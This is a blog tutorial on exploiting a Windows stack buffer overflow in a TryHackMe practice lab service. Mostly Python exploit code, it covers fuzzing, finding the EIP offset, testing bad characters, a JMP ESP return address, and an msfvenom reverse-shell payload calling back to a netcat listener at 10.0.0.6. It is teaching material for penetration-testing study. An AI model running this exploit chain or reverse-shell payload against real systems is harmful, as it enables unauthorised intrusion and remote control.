Originally posted on my security blog - https://biscottidiskette.github.io
Disclaimer: For educational purposes only. Only run these techniques against machines you own or have explicit written permission to test. Unauthorized exploitation is illegal and unethical.
What We're Building
By the end of this post, you'll have a working buffer overflow exploit for a vulnerable Windows service. We'll cover:
- Connecting to the service with Python
- Fuzzing to find the crash
- Controlling the instruction pointer (EIP)
- Finding bad characters
- Generating and delivering shellcode
The target is OVERFLOW1 from TryHackMe's Buffer Overflow Prep room, but the techniques work for any vanilla stack overflow.
Why Another Buffer Overflow Tutorial?
Fair question - there are plenty of buffer overflow tutorials out there. This post focuses on the why behind the code: the libraries I use, why I chose them, and how they work together to build reliable exploits.
Most tutorials give you working code. This one explains the thinking process.
Grab your favorite snack and water (hydration is important), and let's get cracking.
The Libraries
For vanilla buffer overflows, I typically use two libraries:
Socket - Handles TCP connections to vulnerable services. For web applications, I use requests for HTTP/HTTPS, but most binary exploits need raw socket programming.
Struct - Specifically the pack function, which handles converting memory addresses to the correct byte order for the target architecture (little-endian, big-endian). Without it, you'll manually reverse bytes. Not fun.
Before We Start: Three Hard-Learned Lessons
1. Write exploits in small chunks
I understand the urge to write everything in one all-night coding session. But the first time you debug that monster at 2am, you'll understand why incremental development matters.
2. Never leave code in a broken state
Either fix it or rollback to the last working version. I've lost count of how many times I've started a session with broken code and couldn't remember what I was trying to do.
3. Save versions as you go
I use hexadecimal naming: exploit_0x00.py, exploit_0x01.py, exploit_0x02.py. When (not if) you break something, you can revert to the previous version instead of debugging from memory.
Step 1: The Initial Connection
First, we need to connect to the vulnerable service - regular connection, no exploitation yet.
import socket
url = '10.0.0.7'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url,port)) # Connect to the service
print(s.recv(1024)) # Print the banner
s.send(b'OVERFLOW1 aaaa\r\n') # Send our command
print(s.recv(1024)) # Receive response
s.close() # Clean up
Key points:
-
socket.AF_INET= IPv4 addresses -
socket.SOCK_STREAM= TCP (vs UDP's SOCK_DGRAM) -
connect()takes a tuple - note the double parentheses -
b''prefix required in Python 3 (sockets use bytes, not strings) -
\r\n= CRLF (carriage return + newline, like pressing Enter)
Step 2: Fuzzing For The Crash
Now we'll find where the program breaks by sending increasingly large payloads.
import socket
url = '10.0.0.7'
port = 1337
buffers = [b'A']
counter = 100
while len(buffers) < 50:
buffers.append(b'A' * counter)
counter += 100
for inputBuffer in buffers:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending: {size}'.format(size=len(inputBuffer)))
s.send(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.recv(1024)
s.close()
When the program hangs, the last number printed is your crash point.
Step 3: Hardcode The Breakpoint
Take that crash point and hardcode it. Remove the loops and send a fixed-size buffer.
import socket
url = '10.0.0.7'
port = 1337
inputBuffer = b'A' * 2400 # Hardcoded breakpoint
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Run it again and verify EIP shows 0x41414141 (four A's in hex).
Step 4: Find The EIP Offset
We need to know exactly where in our payload EIP sits. Generate a unique pattern using Metasploit's pattern_create:
msf-pattern_create -l 2400
Replace your A's with this pattern:
import socket
url = '10.0.0.7'
port = 1337
inputBuffer = b'Aa0Aa1Aa2Aa3...' # Unique pattern from pattern_create
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Step 5: Calculate The Offset
Check what's in EIP after the crash, then use pattern_offset:
msf-pattern_offset -l 2400 -q 6f43396e
[*] Exact match at offset 1978
Now structure your payload in three parts:
import socket
url = '10.0.0.7'
port = 1337
inputBuffer = b'A' * 1978 # Filler to reach EIP
inputBuffer += b'B' * 4 # EIP control (should show 0x42424242)
inputBuffer += b'C' * (2400 - len(inputBuffer)) # Padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Step 6: Find Bad Characters
Create a byte array with all possible hex values (except \x00, which always terminates strings):
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
Add it after your EIP control:
import socket
url = '10.0.0.7'
port = 1337
# Bad chars found so far: \x00
badchars = ( # ... full badchars array ... )
inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += badchars
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Check the ESP register. If you see mangled bytes or gaps, remove that byte from badchars and run again. Repeat until the entire string appears intact.
Step 7: Prepare For Shellcode
Clean up the badchars test and add a payload placeholder:
import socket
url = '10.0.0.7'
port = 1337
# Bad chars: \x00\x07\x2e\xa0
payload = b'D' * 400 # Placeholder for shellcode
inputBuffer = b'A' * 1978
inputBuffer += b'B' * 4
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Step 8: Find JMP ESP Address
Use a debugger (WinDBG with narly extension, Immunity Debugger with mona.py, or similar) to find a JMP ESP instruction in a module without memory protections.
Search for the opcode FFE4 (JMP ESP in x86). Once you have the address, use struct.pack to format it correctly:
import socket
from struct import pack
url = '10.0.0.7'
port = 1337
# Bad chars: \x00\x07\x2e\xa0
payload = b'D' * 400
inputBuffer = b'A' * 1978
inputBuffer += pack('<L', (0x625011af)) # JMP ESP address in little-endian
inputBuffer += payload
inputBuffer += b'C' * (2400 - len(inputBuffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Why pack? The pack('<L', address) converts your address to little-endian format (x86 architecture). <L means "little-endian, unsigned long (4 bytes)."
Step 9: Generate And Deliver Shellcode
Use msfvenom to generate shellcode, excluding all bad characters:
msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.6 \
LPORT=443 \
ExitFunc=thread \
-f python \
-b '\x00\x07\x2e\xa0' \
-v payload
Replace the payload placeholder with the generated shellcode and add a NOP sled:
import socket
from struct import pack
url = '10.0.0.7'
port = 1337
# Bad chars: \x00\x07\x2e\xa0
payload = b""
payload += b"\xda\xc1\xba\x6e\x21\x5d\x96\xd9\x74\x24\xf4\x5e"
payload += b"\x29\xc9\xb1\x52\x31\x56\x12\x03\x56\x12\x83\xc4"
# ... rest of msfvenom output ...
inputBuffer = b'A' * 1978 # Filler to EIP
inputBuffer += pack('<L', (0x625011af)) # JMP ESP
inputBuffer += b'\x90' * 16 # NOP sled
inputBuffer += payload # Shellcode
inputBuffer += b'C' * (2400 - len(inputBuffer)) # Padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((url,port))
s.recv(1024)
print('[*] Sending payload')
s.sendall(b'OVERFLOW1 ' + inputBuffer + b'\r\n')
s.close()
Why the NOP sled? The NOP sled (\x90 bytes) gives the shellcode decoder breathing room. If your offset is slightly off, execution will "slide" down the NOPs until it hits the decoder.
Set up a netcat listener:
nc -lvnp 443
Run the exploit, and you should catch a shell.
Troubleshooting
No shell but no crash:
- Check your JMP ESP address doesn't contain bad characters
- Verify the address points to an executable region
Immediate crash:
- Regenerate payload with ALL bad characters in the
-bflag - Double-check your bad character analysis
Shell dies immediately:
- Use
ExitFunc=threadin msfvenom - Some payloads need
ExitFunc=processdepending on the target
Wrong offset:
- Re-verify with pattern_create/pattern_offset
- EIP should show exactly
0x42424242(four B's)
Reflections
I remember learning buffer overflows for the OSCP and being genuinely nervous about the assembly code. I even Googled "can I pass OSCP without doing buffer overflow?"
But I just started working through practice machines. After four or five runs, I was hooked.
The best advice for people struggling to start:
Just jump in and start working. Learn to sink or swim. You'll get it eventually.
Wrap Up
Buffer overflow exploitation is one of those skills that seems intimidating until you've done it a few times. The process is methodical:
- Connect and fuzz
- Find the offset
- Control EIP
- Find bad characters
- Redirect execution
- Deliver shellcode
Once you understand the pattern, you can apply it to any vanilla stack overflow.
Now go break some things (legally).
Have questions or suggestions? Drop a comment below or connect with me on:
Top comments (0)